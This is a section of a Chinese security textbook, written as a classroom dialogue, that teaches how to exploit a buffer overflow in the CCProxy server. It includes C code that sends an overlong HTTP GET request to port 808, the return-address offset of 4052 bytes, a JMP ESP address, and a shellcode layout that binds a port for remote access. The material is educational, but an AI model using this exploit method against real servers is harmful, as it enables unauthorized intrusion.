7.1.2 漏洞的定位和利用
“我们用VC写一个程序,往CCProxy的808端口发送超长字符串,其格式如下:”
GET \AAAAAAAAAAAAAA(4085个A) HTTP/1.0\x0D\x0A\x0D\x0A
“发送程序4085byte.cpp(光盘有收录)比较简单,就是网络通信的客户端程序。给出源代码如下,大家可以再巩固一下socket编程。”
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
WSADATA ws;
SOCKET s;
int ret;
char buf[5000];
int i;
int nLen;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立socket
s=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//连接对方808端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(808);
server.sin_addr.s_addr=inet_addr("192.168.3.151");
//连接!
if (connect(s,(struct sockaddr *)&server,sizeof(server) ) < 0)
{
printf("connect error");
return -1;
}
nLen = 0;
strcpy(buf, "GET /");
nLen += sizeof("GET /")-1;
for(nLen; nLen<4080+5; nLen++)
{
buf[nLen] = 'A';
}
buf[nLen] = '\0';
strcat(buf, " HTTP/1.0\x0D\x0A\x0D\x0A");
nLen += sizeof(" HTTP/1.0\x0D\x0A\x0D\x0A")-1;
//构造字符串后,发送
send(s, buf, nLen , 0);
printf("send OK!");
closesocket(s);
WSACleanup();
return 0;
}
“嗯,就是初始化→建Socket→连接→发送!”宇强总是能看透本质。
“对!请注意,发送数据的格式一定要保证正确,前导字符是‘GET /’,然后是大量的字符‘A’,而结束字符是‘HTTP/1.0\x0D\x0A\x0D\x0A’。这样才能让CCProxy认为是HTTP的请求,从而处理它。”
“哦!‘\x0D\x0A’代表什么呢?”古风问道。
“这是HTTP协议中规定的请求结束标志,具体可以参看RFC文档!”老师回答道,“我们发送给代理服务器后,CCProxy发生缓冲区溢出,就会弹出出错对话框,XP下如图7-5。”
“哎哟,和Win2000的不一样也,看不到出错时EIP的值!”玉波嚷道。
“不,我们也可以看。点击蓝色的字——‘请单击此处’。就可看到图7-6的报错框。其中第二排有 Offset:41414141’ 。表示执行0x41414141,就是‘AAAA’的16进制!”
“哦,那还是和Win2000下的一样了!”宇强满意的说,“我们只需改变buf的赋值过程,分别定位千位、百位、十位和个位就可以了。”
“是的!”古风就要去改变程序了。
“等等,等等!”老师急阻止,“定位我们已经详细的讲过了,这里不是重点。具体的定位程序下来大家参考CCProxy1.cpp、CCProxy2.cpp、CCProxy3.cpp、CCProxy4.cpp(光盘有收录),它们分别定位千位、百位、十位和个位。”
“大家下去可自己练习一下。通过它们,我们可定位出:从4052个A开始的地方就是返回点。当然,验证还是有必要的,我们把数组全部赋为A,而4052开始的4个字节赋为B,构造如下:”
for(i=0; i<4080; i++,nLen++)
buf[nLen] = 'A';
buf[4047+5] = 'B';
buf[4048+5] = 'B';
buf[4049+5] = 'B';
buf[4050+5] = 'B';
“重新启动CCProxy,运行修改过后的测试程序。这次弹出的对话框如图7-7,果然是42424242覆盖到了返回点。”
“证明的确是4052的地方覆盖了返回点。有了返回点的位置,写出利用程序简直就是轻车熟路了!”老师说道。
“是啊,我们覆盖4052个A,然后是JMP ESP的地址,这个是……是……”玉波挠了挠后脑勺。
古风一口答道:“是0x7FFA4512。”
“对!最后跟上ShellCode,按照下面这个格式就行了。”
GET /AAAA(4052个A)… JMP ESP地址 SHELLCODE HTTP/1.0
“嗯!是的。”老师补充道,“但因为覆盖了4052个字节,所以我们可以把ShellCode放在前面,而在JMP ESP的地址后放一个JMP BACK的指令,跳回到ShellCode中。格式就像这样:”
GET \ AAAA…AA ShellCode 0x7FFA4512 JMPBACK HTTP/1.0
大家都点头称是。
“4000多个字节,不用实在浪费了,而且加在后面,反而可能会引发异常。好!ShellCode用完成开端口功能的代码。我们构造出利用程序JmpEspShell.cpp(光盘有收录)。执行!登陆成功!如图7-8。”